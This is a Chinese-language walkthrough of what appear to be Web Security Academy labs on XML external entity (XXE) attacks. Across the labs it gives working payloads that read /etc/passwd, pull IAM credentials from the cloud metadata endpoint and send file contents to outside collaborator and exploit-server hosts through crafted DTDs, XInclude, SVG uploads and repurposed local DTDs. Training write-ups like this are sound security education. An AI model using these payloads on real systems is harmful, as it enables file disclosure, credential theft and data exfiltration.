使用外部实体利用 XXE 来检索文件


这里发现一个 xml请求 简单测试下发现存在xxe
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <stockCheck> <productId>&xxe;</productId> <storeId>2</storeId> </stockCheck>
|


利用 XXE 执行 SSRF 攻击

跟上一关类似 只不过更换了协议


<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]> <stockCheck> <productId>&xxe;</productId> <storeId>1</storeId> </stockCheck>
|


带外交互的盲 XXE


<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "http://ap33r37p2no79dvuxo4aqtg8azgp4e.burpcollaborator.net">]> <stockCheck> <productId>&xxe;</productId> <storeId>2</storeId> </stockCheck>
|

通过 XML 参数实体进行带外交互的盲 XXE

当使用上一关的 payload时 出现不被允许的实体 也就是说外部实体是不被允许的 我们来尝试参数实体
xml实体的概念
https://blog.csdn.net/janchin/article/details/46849209

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://zorino0qqxsyrp9vlnkm080bk2qvek.burpcollaborator.net"> %xxe;]> <stockCheck> <productId>1</productId> <storeId>2</storeId> </stockCheck>
|


利用盲 XXE 使用恶意外部 DTD 泄露数据

放到攻击者主机并命名为 exploit.dtd
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://jf22e8rahhjii90fc7b6rsrvbmhg55.burpcollaborator.net/?x=%file;'>">
|

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [<!ENTITY % xxe SYSTEM "https://exploit-0a0b00ac03cd6d6ac12e101d011f00e2.exploit-server.net/exploit.dtd"> %xxe;%eval;%exfil;]> <stockCheck> <productId>1</productId> <storeId>2</storeId> </stockCheck>
|
简单解释一下 这里存在一个外部引用的 dtd文件 首先我们通过 %xxe; 获取到这个dtd文件并插入到适当的位置 接着引用%eval 去构造请求信息 首先通过%file 获取到了敏感文件 后拼接到url上面 接着执行%exfil 携带着 敏感文件去执行url请求



利用盲 XXE 通过错误消息检索数据

这里需要通过xml解析报错回显信息
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
|
可见这里使用了外部dtd文件.其中的主要原因是 外部dtd允许我们在第二个实体中包含一个实体,但是他在内部dtd中被禁止

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0af800c904796803c0857c8c01b600c3.exploit-server.net/exploit.dtd"> %xxe;%eval;%exfil;]> <stockCheck> <productId>1</productId> <storeId>2</storeId> </stockCheck>
|


利用 XInclude 检索文件

这里使用xinclude包含文件
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/> </foo>
|


通过图像文件上传利用 XXE

从原文中下载下来一个svg标签发现是xml文件格式

我们这里尝试上传一个xml文件
<?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" version="1.1"> <text font-size="16" x="0" y="16">&xxe;</text> </svg>
|



通过重新利用本地 DTD,利用 XXE 检索数据

由第6关的思路我们可以通过外链 dtd文件去包含 我们的实体代码. 但是本关不能访问外链,因此我们需要利用系统内部的dtd文件去构造类似的请求
<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]> <message>any text</message>
|
sip-app_1_0.dtd 中的内容
… <!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> <!ELEMENT pattern (%condition;)> …
|
可以看到 首先我们通过引用condition 将我们外面的文件内容添加到了 sip-app_1_0.dtd 之中,也就可以使用 内部实体

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]> <stockCheck><productId>2</productId><storeId>1</storeId></stockCheck>
|
